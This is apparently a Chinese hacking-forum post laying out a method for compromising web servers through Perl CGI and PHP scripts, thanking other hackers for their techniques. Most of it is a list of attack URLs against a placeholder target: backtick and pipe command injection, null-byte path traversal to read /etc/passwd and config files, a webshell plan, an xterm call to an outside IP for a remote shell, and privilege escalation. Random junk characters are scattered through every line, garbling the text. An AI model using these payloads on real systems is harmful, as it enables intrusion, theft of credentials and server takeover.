总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
) D; ?: e7 ~5 H/ n8 ^& r1 [cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 + r& Z8 T; r0 l" @ T G; P. t, M
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 4 @' }/ x, B# l1 u
注“
( N0 P- m T2 W( O, p( R, p( Rperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 . j6 g- B, F8 ]5 ^5 @, K
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
: r) Z9 S! W3 {3 F8 J d
1 q3 J0 j" p/ x& P) Y* x2 [: Lhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造
1 e4 Q M, _) c0 y. Ehttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 + h& `# o2 @* G
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
% f: n! C; f) T/ I2 @: x! vhttp://target.com/cgi-bin/home/news/sub.pl?`id` 0 M# s# F! T$ e9 I. |/ n( \
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
0 j! e3 r- C4 k: R7 t4 ?" m {/ Fhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
- R# u3 u, u# y; b* n- J
1 r# a; L$ D2 z# W) bhttp://target.com/test.pl;ls|
4 _; p2 x5 o, J$ i; @* Whttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| 2 d( l9 G R# F$ y& Y3 ]
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
, \8 g% o( E/ y4 c( ihttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
& h/ C" R) t% P- |0 q+ ~比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。 ; w* Y- ?$ t. K& G1 P
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
; H4 {. ~8 V6 a1 }! s5 @) f$ w5 K
; ?9 `0 H8 n- B1 W5 |http://target.com/test.pl?&........ /../../etc/passwd
8 C- c. f9 I2 ^) A
6 v: T# c& v) V" Ghttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
1 {5 O- _2 ^) N Ghttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了 / {2 s# \! } u
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00 , t* o' \+ a' }: p7 e
5 Q5 F- S; v1 {; }4 g0 D
http://www.target.org/show.php?f ... /include/config.php 查看php代码 + x% R4 \9 A. m' N1 Q+ k i. @$ }
http://www.target.org/show.php?f ... ng/admin/global.php
! R5 G* P: o O6 }
3 \: j6 h) p9 Hemm和ps的一句话
3 _9 h ^5 ?' K. a$ | n
l) k+ v: @8 `* Dhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 * z% ]1 D& k- m/ n; F% Y; d
4 _* t. y W3 S( u
>bbb%20|
7 R' V; \* F& A. v3 o4 W+ H) U2 Y; X- d$ X- O2 [( c
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
, d, K, W! T5 A8 o# H
. i( Y7 T3 K- C1 `" x6 rhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 ; L' g) w' w5 m7 U. _- G+ G
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin 8 B4 P; @+ O7 a% X" `
% D+ I: B6 `* y. `1 B! B' _
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 : k% y! n6 R9 ?% t; s
http://target.com/index.html#cmd.exe
$ z4 }6 \& E* O* N8 ?2 _/ S h' Y1 p1 Mhttp://target.com/index.html?dummyparam=xp_cmdshell 5 f4 o" n- e! H" t2 t6 N8 f7 W
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd / l9 I2 X1 v* M0 m, R6 l- J
|